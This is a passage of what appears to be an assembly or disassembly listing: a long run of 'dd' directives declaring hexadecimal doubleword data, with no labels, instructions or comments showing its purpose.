0B8C04A38h, 0C262A900h, 47592D0Fh, 3E75B6h dd 1C142F4Dh, 0FD295B05h, 0C990BFB8h, 53CE172Fh, 85323DD2h dd 59E035A7h, 14986005h, 34763FE8h, 5F68E915h, 30EC7CD1h dd 0C231744Bh, 0C3977713h, 0DB8904F2h, 0F516EB30h, 0D26B28E3h dd 4CE8135Dh, 0F7A524CCh, 0CB9B182Fh, 181FF359h, 0C5A7D08h dd 31204060h, 2A4C1D17h, 81899247h, 7A791EF1h, 0FAFBB5Eh dd 49B565C5h, 826F54AFh, 0BB16AC02h, 64D55E71h, 0DDB09F53h dd 0F996F681h, 0ED752A6Fh, 5ABD72A8h, 6C77F6BAh, 9448179Bh dd 94C561Fh, 89737C18h, 4020624Fh, 0C5DF6313h, 5BE94168h dd 0FBC650D7h, 0CC7AACA8h, 0ABDA55E1h, 654C1EC6h, 0BEF71183h dd 5B740000h, 9E451A8Fh, 0A4888284h, 60F5E570h, 946036EAh dd 0F7314328h, 87EFE93h, 0C5C0DF71h, 834A0DC7h, 60D7F669h dd 0ADC1176Fh, 63610B4Bh, 0D21A7E0Ch, 90F901E0h, 0A908838Eh dd 3381B42Ch, 2D42D6EEh, 0AEE5EC66h, 3EF845BFh, 92E4D95Bh dd 968D025Ah, 9FE58560h, 43284EE7h, 7390A0Dh, 0C204915h dd 0E0D1809Eh, 3DFB0503h, 0B0351F36h, 953BAB99h, 6AC88902h dd 5BB72A96h, 0E668842Dh, 4BA7B32Ch, 51FE6F22h, 0B7CBA766h dd 0BF01B0D2h, 3BA503FCh, 5E201C58h, 9B91A8h, 540C22F2h dd 0F9972164h, 66FB0920h, 176209DEh, 15D1A4Dh, 7E5C09Ch dd 3406EDCCh, 0C104D5F6h, 7AE1862Dh, 3910EB8Ah, 7CB15748h dd 0FA5BC32Dh, 0AD839512h, 48E14C41h, 0E1CA2ECAh, 2FD1C410h dd 0CBF9545Ch, 51455E29h, 6374422Dh, 0CC88ED4Fh, 0A7AA4EBCh dd 21267B89h, 0E4828F7Fh, 691C286Ah, 4D2AF52h, 9233EC5Fh dd 47CF3721h, 5CA8B52Ch, 7BB95100h, 8155DA13h, 2D2A0DF1h dd 202C1754h, 0E45FB12Ch, 0B41031ADh, 515E25A3h, 742562E6h dd 2B2832CCh, 56CD8756h, 9B300D2Fh, 5B130010h, 0D1DFF764h dd 2E4C1E7h, 0C75AC09Dh, 60AB0B12h, 1BDE2951h, 0BD9BF0ADh dd 18B866Fh, 910E00CDh, 4E743943h, 0C1E8A859h, 8C16E955h dd 66047569h, 2E8408h, 2D96255Bh, 0E9750BD5h, 0CAC85922h dd 992D6415h, 42EDD620h, 7DD6D87Eh, 20E872E9h, 284CF918h dd 0EB7A70EAh, 0C2E3454Fh, 2C6AB640h, 0ACAA078h, 51D16CEBh dd 0FCD5F353h, 0DC2D0989h, 5FC509D9h, 62AEDF02h, 20C12903h dd 31BF4D8Ah, 0E26E6668h, 46CE179Fh, 0BF0343A2h, 47B265ECh dd 7A92D8E9h, 605302CCh, 0D1C68BEDh, 642DD441h, 20917C29h dd 5CE91408h, 1F8028D7h, 4F22F804h, 0E998DEA3h, 0D968373h dd 26D11663h, 4240CA33h, 0EEDDC357h, 86B680FDh, 3F170D32h dd 0A50B8235h, 0B2A5BF6h, 4F71EF29h, 0E941026Ah, 0D02FAF97h dd 0C1197807h, 0BD5F3D0Dh, 6D200D77h, 8E73BF8Ch, 0B65597BDh dd 0F94E1AF6h, 0E9CA8175h, 4B286808h, 61018FD0h, 14FA262h dd 1A9F44D6h, 0C9D50C08h, 0F82B5AD3h, 0D5BFF234h, 9545FCA2h dd 3D530209h, 0EF810071h, 9B2D3BA4h, 202FDAD5h, 534CDF2Ch dd 1B4F2675h, 2FF9FC08h, 498F9D48h, 354118BFh, 927B99E3h dd 3121BA5Ch, 874A45BCh, 0A525543Eh, 0BB9CC81h, 3131FD32h dd 81DD11BCh, 0A10B70F5h, 582D4D7Bh, 0AD7220E1h, 0F603091Dh dd 0B9754FF2h, 7FB2D3E5h, 5265FF93h, 0CAF5B3E8h, 0E1617375h dd 0B0615070h, 0CF6A803Eh, 18675720h, 0F7C2DB9Eh, 0E34B7539h dd 0CAC5A89Dh, 0A46F865Ch, 0CAAACEE1h, 2DB14AF9h, 9F03CA3Bh dd 9DA9A1E0h, 402F2B48h, 0DC3F35E2h, 2D3D873Fh, 607E0229h dd 0F9B60705h, 64E912D9h, 0AA4DD084h, 67608C0Dh, 0DF56D4C2h dd 0E889257Ch, 295B86E6h, 10543E9h, 0D69DE6AAh, 215A19E9h dd 0F48529FCh, 871AE7Dh, 0C01114D2h, 0B2510344h, 5397C61h dd 0FC702368h, 5A21C1B4h, 0C86F2735h, 4459E938h, 0E9DD5E3Ah dd 0CB15F26Ah, 5DA0277Ah, 0AFBC01F5h, 2D2E210h, 0C38027B6h dd 3F68F6F8h, 1283ED79h, 6576E9F1h, 4A299539h, 62C14DCCh dd 69355F79h, 0A0BB2259h, 33A29067h, 0E31D8C8Eh, 0E8547610h dd 4C35A84Ah, 7552065h, 8662B050h, 0CCE7A2F8h, 0D90BBB44h dd 73510B38h, 2C709FCh, 9F30147Dh, 44151790h, 0DEAF0FB1h dd 0D3BE5C28h, 9F09256Ah, 0DC445701h, 34B7531Ch, 0D6ADF81Dh dd 0E2057A82h, 6C30BE82h, 0C44ACF68h, 0E7F8F1Dh, 772DC4ADh dd 0D277CCFBh, 5E3CF8E9h, 0D159467Fh, 0E1095B04h, 4ED9D8B5h dd 0C294B366h, 446256E9h, 98CF2724h, 5C705656h, 52369856h dd 0E804B0A1h, 0BF359CB9h, 2CEC1916h, 0DD96E90Dh, 0BE5A8181h dd 3EF63BFEh, 0B8053C78h, 84E106BCh, 17F5A84Eh, 7DA9C9D1h dd 56341207h, 0A101B583h, 53426E1Bh, 40A60386h, 9FC2DB03h dd 194290ECh, 2F13110h, 96D51B8h, 0DB13D5A1h, 4EFA1E20h dd 4F868766h, 901A1DF2h, 1A0D0299h, 57132C5Fh, 810329F2h dd 6B1709CFh, 0BE84D94Bh, 0FB852C6Bh, 18A14252h, 682561BFh dd 0E70E5CC7h, 0AA42E8C5h, 6A30D93Dh, 3DBDA5E2h, 168BABAFh dd 19864526h, 5822CC9Dh, 0B6CD9E5Bh, 44B42A65h, 0C8DC4E9Ch dd 7B7AB07Fh, 102874Ah, 5F21EE68h, 79B95F14h, 6C7E066Dh dd 50B2DE8h, 0F05AFB5Bh, 0D00783A2h, 0A87CC2E9h, 262657F1h dd 2E74DE3h, 20D2215h, 50364640h, 41D5272Dh, 0C8567F65h dd 5D4F243Ch, 3E6861C7h, 648D517Dh, 605902D7h, 75285038h dd 3ED7E5EBh, 0BE487806h, 0DC77B751h, 10B4284Eh, 0F1C8BF5Ah dd 52550159h, 6977E568h dd 0DCF92A7Bh, 20EB3017h, 962097F7h, 0CE21DB09h, 0CAE50059h dd 0C2299306h, 3A2E260Ch, 97F622E0h, 99CD3D12h, 0B217C1EDh dd 41BDCD6Eh, 3BD371Bh, 5ADA205Fh, 21D6813h, 0E51B95A3h dd 0A0F2B33Fh, 0F5886644h, 5081E896h, 18F331F9h, 0B3C74F29h dd 2A17D2EEh, 74240863h, 90670812h, 0CBBBF0E4h, 9AA14ED1h dd 8411062Bh, 0C5045541h, 28CB5534h, 4A7E73E8h, 0C2A6B159h dd 0CD580195h, 64E0CAAh, 5E08BEA0h, 63F04FEEh, 628D4940h dd 590C187Fh, 26B6502h, 3602ABC0h, 0E35F031Bh, 0F2AC1019h dd 0EF47B308h, 3E8C18C3h, 18E3A908h, 81899F8h, 0DD1819A8h dd 943380F1h, 5B4710C6h, 3D2A2008h, 20514A31h, 419060D0h dd 5C7410C9h, 848637Dh, 183EFE93h, 0E808E3DDh, 88493373h dd 8110C510h, 0D4196AD9h, 1C431D8h, 888B06Bh, 0A03F952Fh dd 871920BAh, 62765F20h, 2367C1C2h, 31858403h, 7B39AF08h dd 517801F8h, 50A5188Ch, 4740FD08h, 0B1894080h, 40180840h dd 0E9621902h, 32B6D38h, 103168B4h, 0D30469AEh, 62961088h dd 844ED0Ch, 0E38840BEh, 861BE1C6h, 59E72010h, 205A6F20h dd 3920D903h, 55793197h, 142E208h, 65019D27h, 61F20116h dd 88EAFF01h, 1F5D8B38h, 0EF62A052h, 36CB799h, 870C0A1h dd 63C1F940h, 5AB2056h, 11FB0831h, 28014D66h, 992888A2h dd 0A9300C1Ah, 0B9C40D10h, 0AE046828h, 0BBAA0647h, 0C4A0B008h dd 0CCB4108h, 4046C1DAh, 0FD638C53h, 1FAFBE18h, 20278008h dd 8E109862h, 1CC9039Bh, 0C64B0818h, 0C4A06318h, 5E31508h dd 0F04824CCh, 11A80C37h, 3640F108h, 0A90C40A2h, 7307163h dd 9D0818F5h, 53861835h, 81A77F80h, 0AD451B0h, 6EA02463h dd 0BC530481h, 0D16118C8h, 985018D7h, 0ABBDE780h, 0EE4918C0h dd 0DA830867h, 8052EF80h, 30C6962Ah, 31082E3Dh, 4518CED8h dd 0E50888A4h, 7C370C69h, 0B092B820h, 0A98D3233h, 0C2101567h dd 2233C870h, 4842F08h, 0FF0431A7h, 0D5A8066Dh, 57CB2038h dd 10CA4B31h, 8885D17h, 0D41265E3h, 48353846h, 89902010h dd 881F031h, 189FBCA0h, 0D349606Eh, 4B891874h, 809F3C08h dd 0E481BE15h, 0DB2B851h, 2A99308Ch, 2D409C08h, 673C403Fh dd 5E41B9C6h, 58FC4D30h, 1892A710h, 6F08932Bh, 6518CF64h dd 5920A895h, 203E8E20h, 0F1491498h, 74C610D8h, 0FC9C6004h dd 2EA4C9E8h, 557C27A0h, 62BD741h, 103E9407h, 2C473B00h dd 13EB0275h, 0B90EC689h, 5F43DA7h, 8F440100h, 0C90B4940h dd 8BF71275h, 0DE11F074h, 0F4F00325h, 0C03343DEh, 4FB10FC0h dd 0AC2C3060h, 4A91E953h, 0B45E3B8h, 0FD2899EAh, 3BB3C03h dd 32C0404Eh, 617AAE62h, 13AA0E59h, 3F3784Ch, 23D86644h dd 8C3E84Bh, 6F2E3046h, 0F953B60Fh, 0FFE96C05h, 34020145h dd 7F7FAE68h, 1CC6B81Ah, 0A56BB35h, 581F5582h, 272D076Ah dd 0A7577B77h, 0AE01B538h, 24E28864h, 5B98E983h, 0BD072873h dd 8667DD46h, 0C7E2978Eh, 5A059F96h, 31E961DCh, 665C19FAh dd 8DF12A29h, 0C5DEDB38h, 0EC509768h, 0E9450944h, 0B03A60AFh dd 8AD0B52Bh, 24A22C0Fh, 521DC673h, 0DE4E634Ch, 2A79CE50h dd 0BA1C350h, 0EEAE5D24h, 7599193Fh, 13D95C1Ch, 9B1BF5EAh dd 0A5BDA9F9h, 4847D212h, 27C2708h, 29236AD0h, 9A805FFEh dd 724F58FFh, 8CE35B4Fh, 5282E90Bh, 695BEE7Ch, 0A8592AD9h dd 35A2DBBCh, 142FC09h, 0B44229FEh, 5BFCFE2Ch, 0AD0B4CE9h dd 5A6AF42Ah, 88FEB05Fh, 903EF60Dh, 0ED282052h, 0C4098174h dd 55522310h, 40820Ah, 3D395AD7h, 4F690BE9h, 4BC05D5Eh dd 0AA4A7603h, 71633CC7h, 39841061h, 4ABB0F0Ch, 0D8EBEB96h dd 6889FAA6h, 0DC4689Ch, 59FEAD5h, 48706F0h, 30BE1045h dd 7EFE5B42h, 61584001h, 4FF83BA4h, 0E66819C2h, 43665777h dd 67DFB0Ah, 0DE00A561h, 8165CD41h, 7B123CF2h, 0D2F72D02h dd 795F5C68h, 0ED551224h, 17E98459h, 0C3718B97h, 0A6F7F828h dd 4BA52DC0h, 868A35D9h, 92A0884Dh, 0D35471F0h, 48E4C6A4h dd 1F7ACD3Bh, 0D2C0A3F6h, 1D2F2D54h, 4EBAA00Dh, 0DC038372h dd 8256AC3h, 93CBB06Eh, 9FCA7C6Fh, 0B6EB7C00h, 0C45FC96Bh dd 351CDDECh, 8204904h, 0E98EAE09h, 0F7A1CE6Eh, 97481EE9h dd 77EB5D54h, 1EF599DCh, 0F645BD43h, 68041D2Bh, 0B7B25E8Ah dd 52045E95h, 0FC34EEE9h, 0D2818915h, 0FD83E641h, 6E12886Ch dd 0C115A827h, 2EB423BCh, 1BAFA02Ah, 51CF0302h, 893DA1E9h dd 7DCFECA8h, 0D6F12555h, 0DEE99474h, 0C06E17F4h, 0FEEDD0E5h dd 0EABC54Bh, 2738223Dh, 6AC15BDEh, 69A13550h, 9A1B7CF8h dd 0B346FD40h, 85D48008h, 0B37014D9h, 0A613A709h, 0BC705612h dd 0ADFE9E30h, 0AD17DBB0h, 296476DEh, 928EF6ABh, 64E922EAh dd 0A05D864Ah, 6761ED3Ah, 2DDA02Fh, 4B260658h, 2684D3E9h dd 2D29E5B7h, 5D72ABDCh, 6E5F45B2h, 8AD49716h, 0EAB8AD44h dd 0CBC4FE1Dh, 0A21C3E5h, 968AE280h, 161EB406h, 2BC7EF70h dd 3C762D6Ah, 0BA0087E5h, 79E774E2h, 0E9D70A29h, 0CFE41F12h dd 332AE626h, 5B66F816h, 16BEEB0h, 0FEE3F280h, 258EE9CAh dd 4AD2FA7h, 3168AD93h, 565DB354h, 0CECB3Ah, 25A34A33h dd 9D66BEE9h, 97F04CC4h, 1406A649h, 30AB5DEEh, 79F7D774h dd 178A3D91h, 0AC4E0596h, 0AF11C6DCh, 7203B610h, 0D10C477Bh dd 95B80AE7h, 2C098366h, 0F0242B47h, 8EF5144h, 0C0941D20h dd 4814BA26h, 71981F82h, 0B35D5B01h, 654AE9E2h, 78ED4781h dd 0EC40B637h, 91A20E3Fh, 192C5444h, 1C4A4993h, 0D0F753Ah dd 0E6EF31CDh, 64580A7h, 730815F5h, 0B5015002h, 685E01A5h dd 0C18B5644h, 1F9B2C4Eh, 642F8BC1h, 513F50C0h, 0EC9B50B1h dd 78478F80h, 95403020h, 70A1C661h, 5C626925h, 0FA348EB5h dd 355EBED6h, 2B6D0B47h, 17C70C1Ch, 0EB529D0Dh, 55AA4A52h dd 0AE936F81h, 32E9D728h, 589436B9h, 7569C85Ch, 0E937E814h dd 3A559BB1h, 0BC5A89A0h, 72A4CFB3h, 0B771D12Fh, 96CA3E54h dd 0D4548969h, 0BDE9C3C0h, 0A4E6BDFFh, 81314F90h, 0DF299A08h dd 0FB6F42Ah, 0E1718B2Dh, 286E52ABh, 13633E7Fh, 0B9B70456h dd 9269BD96h, 9758EDD6h, 0D4206DACh, 5FFB310Fh, 0C9E2456h dd 82056601h, 0D098701Bh, 0ED32DEEh, 157A4A02h, 0C16E7C01h dd 3F549F68h, 0F438A432h, 874507C3h, 81F123EEh, 0FA3B2DD8h dd 93E1A14Ah, 302D10F7h, 0A3BF0040h, 1734B78h, 58C59DFBh dd 0F6681630h, 9807BC3Bh, 1B350A96h, 16987E12h, 5A2826E0h dd 49C5F6B3h, 0FBB08B5h, 0EF8F8101h, 2109E629h, 34B8201Ah dd 610E3502h, 0CA0541E9h, 4F81F5C3h, 0EF40109Fh, 6BA948E9h dd 0DD20B3D7h, 0B13A3968h, 90EFA045h, 4C0B0E3Bh, 8642E405h dd 7CF64839h, 5BD32D01h, 187A6FBEh, 766C5CF0h, 0E93F201Eh dd 68AF2F17h, 0BE927A9Ch, 8BF05B5Dh, 0D67E8DBEh, 25D4B33Fh dd 0D6F6E429h, 4E77A008h, 386B0B90h, 601FD1DAh, 82267FB9h dd 68314CB8h, 45DDE9FEh, 0E752AE71h, 0C1015F66h, 0DF2E0602h dd 0E6454D3h, 0FD344418h, 7B0D17AFh, 4AE472EAh, 0EF9EE8F5h dd 94D3E0A0h, 0DF41007Ch, 0FD8942EDh, 43DDE91Ah, 8B9AFC73h dd 0AEFB4DFFh, 6EC5E904h, 0E74444EBh, 0EED2B4ADh, 8113509h dd 61BE3239h, 24ADBA24h, 7CA748C7h, 53BA4065h, 33093A66h dd 705AD101h, 69A22E55h, 6CD9531Bh, 5DACA51Dh, 0E57D6BB2h dd 172C9005h, 208D3270h dd 0A9A30F4h, 0BC55E943h, 22B48F73h, 13644B44h, 8D0ECE01h dd 0B13F19C8h, 71CB6AD1h, 5E56EC97h, 56E95EC1h, 0C62FC075h dd 760FCA1Dh, 0C40E8742h, 0ED1346B3h, 0C0912740h, 90D1F61Ah dd 1E1A69EAh, 0E09C79D4h, 14D8BBFAh, 130B90F6h, 0E70504E9h dd 724E85D0h, 0E7C047B7h, 16B551E1h, 925DF06Fh, 0D6249D69h dd 3CF87ACDh, 0C6D56827h, 493E9640h, 0AAC3F404h, 69EF8F98h dd 42751C8Ch, 6288D8E7h, 43E965AFh, 5316DF58h, 3EB58B7h dd 62F7809Bh, 841AC799h, 5D2CA706h, 56D2D5A1h, 2C5B50EAh dd 0D8288A1Eh, 0CB15767Ah, 48DDA1E9h, 1AC60474h, 0B48B4A1Bh dd 86DDFD4Ah, 3A8C3527h, 0F59E4F05h, 60D78B32h, 402832D5h dd 813409D5h, 0A7EE7056h, 15507D7Ah, 0D13B8FFAh, 645D786Eh dd 25AD488Ah, 62D85104h, 4000F7DBh, 242D3625h, 3C306E3Ch dd 0D6FE4640h, 160504D2h, 2EEE491Eh, 0B86C6086h, 0D8F49DBh dd 262CE968h, 81E36BD6h, 2F85998Dh, 0E8D37CB8h, 0B353C301h dd 0DDEB85DAh, 0DB12A0AAh, 0B858E9FCh, 0C3B84E43h, 28B2BCB4h dd 975D8852h, 3B3881E8h, 0E46F2AB6h, 26CB0883h, 55E92963h dd 0DED95E5h, 7D03887Bh, 0D3B6F859h, 15E23100h, 26E971A3h dd 81B2D745h, 0D36DB668h, 6FD9ED78h, 4E5FD982h, 54EB779h dd 0A298C9Fh, 0A2E172Dh, 3511049Eh, 40898DEEh, 0C25A0FE3h dd 0D1B8750Fh, 760E4B37h, 0EF027F4h, 0B7742D04h, 1DFBEF99h dd 0AFA69226h, 4C8FCC39h, 3A0907DCh, 0BD4060Ah, 0C1E6BC26h dd 0C641DD25h, 2D6A0B65h, 759455B5h, 9A32D81Ch, 25088430h dd 0CB110009h, 2ADF056Ah, 9FC94720h, 8D3E8640h, 0E1801254h dd 0B40FE0Dh, 59CC8885h, 93B13151h, 0F1C0C91Ch, 8069703h dd 700E52B8h, 5AC9D128h, 0D7192D7h, 0ECE43ACAh, 0DC860103h dd 0F6DA8852h, 31046ED2h, 92BEE1E9h, 0D8626837h, 0B58B31D6h dd 630E55EDh, 0C567518Eh, 0FED58393h, 0F94183ACh, 0E990CFE8h dd 5906B538h, 37118E54h, 0EFE4EBF8h, 0BF91C4C8h, 47154B10h dd 0C119332Ch, 40611B02h, 0BA22603Fh, 73495843h, 34759017h dd 54FF0432h, 59CD415Dh, 0DDCCFCBFh, 0E8809F5Ah, 0E9071865h dd 75E18D49h, 0D1ECDF5Eh, 9FFAB24Ah, 463A4F8Bh, 67922F4h dd 0E9C88588h, 939755F4h, 48E3C216h, 65BD69h, 0C16E4803h dd 0D14502EDh, 0D8E5E576h, 9C0FF581h, 97D5D63Ah, 1A222521h dd 8E091E06h, 542A0A07h, 0F0FC27DCh, 5EA26878h, 0C947FD2Ch dd 0BBEDC084h, 33251248h, 0CA41BE3Ch, 0F1975FC3h, 0FBF4F03Fh dd 75C91E18h, 970A40Ch, 0DD016919h, 408EE08h, 0AEB1F2E9h dd 0FA840827h, 0E2D10C91h, 41396421h, 2447290Bh, 158AB47Fh dd 0BA6B6368h, 41417327h, 749205Eh, 0F53F6E92h, 0C8C31587h dd 8E680969h, 0CCA83058h, 4C6F0939h, 55F4B5Bh, 89FAAFBFh dd 685361DFh, 0B1B45AF4h, 5F7C40D6h, 0FC06309Fh, 0E1D19515h dd 61615767h, 466E5B48h, 0A569E9ECh, 8885A3A2h, 3D0BEEA9h dd 7E99F59Ch, 518F3C9Ah, 4420FDB8h, 7BDA831Ah, 5BB3DDDBh dd 2059E8F9h, 4CDBDB95h, 8A842D33h, 0FE02A348h, 0BBDC758h dd 5ED7F612h, 12082CB2h, 0AD3918EFh, 5655D868h, 76F62B62h dd 88EC72Ch, 0BE07A24Dh, 1395574Fh, 4AA15487h, 0F13A440Fh dd 0A6892A73h, 0BA66A21h, 0FD123Ah, 0A961CD0Dh, 0AD28E91Dh dd 489DAD14h, 94A5C7FBh, 21378290h, 92DD7770h, 6050CAA7h dd 54AB4C9h, 1FE92932h, 81D65687h, 27D6D52h, 0DB6FE42h dd 7E10A414h, 690A6B7h, 0C630F090h, 6B7E6829h, 651F66BDh dd 0BB5E614Fh, 4FE8A42Ch, 0BC4231D9h, 0B3E80409h, 503A94Eh dd 0AB0798Ah, 0FC152DFEh, 2627555Eh, 0A3580235h, 28C4536Ch dd 70940927h, 1A03761Fh, 233B7E45h, 819B98E8h, 96F0300Eh dd 4AE9AF0Dh, 2403C9Dh, 0BE689304h, 88227133h, 88261517h dd 99360D82h, 89B78074h, 5872340Eh, 1830054Ah, 616ECBABh dd 242C63Bh, 0D77B6AF3h, 13A04076h, 89758239h, 1F46567Eh dd 57681286h, 89E6960h, 584BE90Dh, 0CB51840Eh, 738A2ADDh dd 61144F12h, 309D0766h, 0C2655BFAh, 0FE0685EBh, 4230C379h dd 0BFBD8045h, 49534F12h, 321E02EFh, 94604BB8h, 0B5C48F1h dd 8B0827CAh, 0A7B3710Ch, 91896645h, 0A882D499h, 9108DD78h dd 0E9D905DEh, 0B6613E16h, 81330692h, 5D476809h, 0A9C4BB1Ah dd 26AA7720h, 3A1C501h, 1C8E2D60h, 0DD184069h, 79BD506Eh dd 4D5B6B6Ah, 5E495113h, 1C8E0659h, 0D610A1E0h, 505EF3C8h dd 0B841F95Ah, 0FD645B13h, 0B4EB05DEh, 0C50C18D1h, 0BBF631Ah dd 57D20C84h, 0CB218B7Dh, 49B8FD24h, 0F5709325h, 7CE25E4Fh dd 0D6DBF2C5h, 0F06811F5h, 0CF02C723h, 553DD67Ah, 419F64EBh dd 40409124h, 9D0E08D0h, 5CB9BD4Fh, 5560DF2Fh, 0D7AA0BF7h dd 62A3FB68h, 25C553C0h, 98549014h, 8DA0C2Ch, 0CE585071h dd 4073CD90h, 80208B7h, 8A55D27h, 0B481BF01h, 6800FEC6h dd 599D3FA8h, 73B68A36h, 2E962DEh, 9205F1C8h, 6CB14807h dd 0CBCED829h, 0DEA22021h, 0C0275051h, 0F8055B18h, 60E54E4Ah dd 7A32DCDh, 5D1409E5h, 1AC23800h, 29F3DE4h, 0D563D153h dd 45DF6D3Ah, 385D8005h, 0BB5E51F5h, 55411C0Ah, 0EC05E8A3h dd 7C2B75Fh, 2F842F3h, 0F8575E08h, 53F6400Ch, 14685109h dd 162FC665h, 0FA9BB5A9h, 0C7EA1512h, 303E371Ch, 2BE957CDh dd 0BDEC0763h, 68F080FAh, 4AEA5B09h, 8785987Ch, 8237C380h dd 0C7F56271h, 495C2F11h, 0F45BF002h, 1A68751Dh, 4D2FA0E9h dd 0E46CD401h, 9350815Fh, 3DA36A39h, 4B2E0B17h, 9677C182h dd 69249CAEh, 0E910A17Fh, 14A5FD35h, 94AD8145h, 352309A0h dd 36826F60h, 605F5E3Dh, 2E1BE23Eh, 1881F3Eh, 4E5A13C2h dd 59DF2060h, 4C504A80h, 0CD30E153h, 1C38B96Dh, 7616E027h dd 34172C06h, 530B003Ch, 62736857h, 0DF7E482Eh, 6BC7B05Bh dd 0D3A205E1h, 3492BAE9h, 0D8CD8185h, 46EA04E0h, 39B1131Fh dd 711837FCh, 8F0C1063h, 7E67250Ch, 50271E78h, 0E1FCA2ACh dd 224CFFF6h, 19766813h, 36A56CAAh, 23B8344Bh, 0B2600093h dd 55510138h, 7FCD6CB5h, 535F03B8h, 0B6BFA4BDh, 5BDD29E0h dd 13C393A0h, 9A530162h, 5130FC4h, 0E21F2AAFh, 304D7F26h dd 5629273Dh, 4022C0BDh, 0E8901714h, 0C9BFE234h, 99FCC617h dd 6269D73Fh, 142E39D8h, 0D9531DBAh, 17B0DB46h, 0F753A7E6h dd 2D585014h, 565E0006h, 77B0BD55h, 0F0235B8Ch, 0C6008153h dd 478744E0h, 0F208E6C1h, 8B580BF6h, 8C624C7Fh, 0D7603C40h dd 0A0529895h, 0D9C597F7h, 0EDCA4E0Ah, 820B8F68h, 0FD10DFEFh dd 45B0F787h, 5F56570Bh, 6D41D65Eh, 72A62B0Ch, 160C8B5Ah dd 0E2421B76h, 432843C7h, 8BEE82F5h, 34329198h, 80423807h dd 0AC6577EEh, 0C875094h, 0D4C68852h, 0A83BE11Ah, 5AD5F466h dd 32B14DBCh, 685200EFh, 314B54EAh, 74B97A66h, 0F1813A6Eh dd 47E93D04h, 8928BB96h, 52C81D5h, 0C8108BAEh, 73770B04h dd 0B6296F5h, 1234AE9h, 2D1E3840h, 7451DD25h, 0F191892h dd 7C17BB53h, 0C201D769h, 0D65DE9DEh, 5524A526h, 95C108B0h dd 2EF37E2Dh, 375600Ch, 0F895700Ch, 0D01F204Fh, 0FE357990h dd 11A94A8Ah, 2F8B7C4h, 0A22F5368h, 28DD3ECh, 0A540FD31h dd 30B4B001h, 448A27C9h, 0F74F4BD0h, 615890DEh, 68560A02h dd 0BC98C662h, 7095595Eh, 66A83076h, 7AFBC2ADh, 0F9503726h dd 1BC8243h, 2CFB9AFh dd 6A311BA8h, 4AB494C0h, 0C17DB401h, 4C25EF68h, 342FE9B6h dd 0CB511B02h, 0BA4FE50Eh, 9B196168h, 1A705D1Ah, 506C904h dd 1155782h, 0D17399FDh, 55B013EBh, 642CBA56h, 2D0E9C67h dd 0D38331C3h, 68A8EBABh, 0C594221Eh, 0F657B040h, 8ADB6D0h dd 0D82FB71Ch, 5F7FF05Ch, 8A0E5642h, 5EAB484Bh, 4D355B2h dd 3140D7B5h, 504002BBh, 0B0555BD9h, 0ADF34DAEh, 0BEB0F84Ch dd 0C22662E8h, 75107144h, 0C17ABA51h, 82F4CFC3h, 89685A12h dd 0A67DF151h, 4C417DEh, 0E75072Dh, 26AEC25Ch, 5EB9DF01h dd 4FC4B8E1h, 490D2235h, 5A341620h, 0A6799CEAh, 36F88ECBh dd 7DF6271Ch, 83ED4758h, 71D13604h, 0A5804538h, 0BF631F0h dd 75FBE970h, 69FE16DFh, 5FF3B2Ah, 0D141EC9Ah, 0C14BD3F7h dd 0EBCC07E9h, 0BE560206h, 50C36DB4h, 27FF6742h, 6C61EE2Eh dd 0C12F782Fh, 25BD4576h, 74A5DC62h, 4238F734h, 24A2EA09h dd 29BA3141h, 9A80FC57h, 0A205D92h, 247CF466h, 4B2E010Fh dd 326FA3D6h, 9F4098B6h, 0A541C8E7h, 751626A5h, 0AD5C5C5Bh dd 13A0D0Bh, 95AC1C7Fh, 76EB435Ch, 6D7C70ADh, 0B0E6BC9Dh dd 77780802h, 25BB4EA7h, 0E1CA5E6h, 9D5A11A0h, 0BF402DD1h dd 501106D8h, 0D8B5FA7Eh, 14FCBA29h, 49586880h, 0A5815A0Ch dd 607B4F1Bh, 10147541h, 25E709FEh, 0F41F4CE1h, 2FF39ED2h dd 0D725F0DEh, 4F688318h, 8B291C62h, 627809B7h, 0B5224679h dd 98C798B9h, 4BC40909h, 0FA0D4C7Dh, 79A68539h, 0D9FB0136h dd 77CFD764h, 11D1F3E5h, 5DB61E1Dh, 21247BCBh, 5866E384h dd 751F3D0h, 0F58087B5h, 5CF662A1h, 0BB595361h, 0EB767012h dd 456597h, 8016B450h, 0C02C8CECh, 0BC3FA5E4h, 0D0CC820Dh dd 7745EEE9h, 1B0F2E6h, 26A82B68h, 5F70C5EFh, 12AD8AEBh dd 2FF8F2EFh, 36685CB0h, 3EE14670h, 0E98326ADh, 0B2DCB33h dd 0A444E274h, 9CFA052Dh, 0E24D8989h, 9AF7039Dh, 7E5BFC30h dd 0C11D32CDh, 47775E1Ch, 1AC6A6D8h, 62D5A1E9h, 7A30559Eh dd 0AB1720BDh, 0CEE1450Ah, 27B6A26Ah, 20CA1659h, 5627B4E5h dd 74125759h, 366CC8DCh, 0EC6D48E9h, 0AC4FB852h, 0EF6A10DAh dd 1C18BA01h, 2B2938A7h, 0E4CE4C0Fh, 0CF1C5CA3h, 37051104h dd 0AADA9512h, 31EF1E00h, 4A576B72h, 4039B35Ah, 0F95EA3DCh dd 29CE3491h, 9FC7AACh, 8F231D68h, 0C51616D8h, 29AA59C5h dd 0C2217E1Ah, 0EE12EAABh, 29BDF18Fh, 220ACFCh, 63C9402Ah dd 0BEF7B5Fh, 0A740D9F7h, 6D73B850h, 5276C927h, 0D482C34h dd 24F100ABh, 0F943D525h, 51353A0Eh, 5E32A940h, 31F8993h dd 5702D072h, 0B1532568h, 17A4613Ah, 464BA207h, 0CA0168CCh dd 0E9499948h, 0F2A61BFAh, 0F602139Ah, 5F66006Fh, 0A5056C8Ch dd 9B441775h, 99DDB031h, 1C12D295h, 584FBEE2h, 14EEC477h dd 3112C90Ah, 9C1285C2h, 537DCCh, 0EF80AEB7h, 6E7C001h dd 12DCC7ECh, 77523DCBh, 5AD42E01h, 0E9C0DE5Bh, 3EE1A225h dd 0C6F20BACh, 0DCBEE4A0h, 7F5CE419h, 5F827A81h, 0B6C0D48Bh dd 2012A135h, 4AA4B83h, 130F8012h, 0B97E76F8h, 506B858Bh dd 0D1DB0404h, 7C279028h, 0E9130C24h, 0F128F361h, 78C50081h dd 168D75Fh, 0E7B850DDh, 2F662A49h, 8E9916C6h, 1C3A0AB3h dd 7AE3EA3h, 0E8222E9h, 3C977612h, 0E9052187h, 46D4523Fh dd 0DAC0A8C4h, 13746E9Fh, 0AAEE2112h, 0BC67A2Ch, 79D51BCDh dd 0E9040C7Eh, 9CEECCE6h, 595BCA53h, 0C8E90D61h, 0D5FD4675h dd 2ECF8EDDh, 0C1B662Ch, 0F20A1DCFh, 17FA3920h, 0EB5148EBh dd 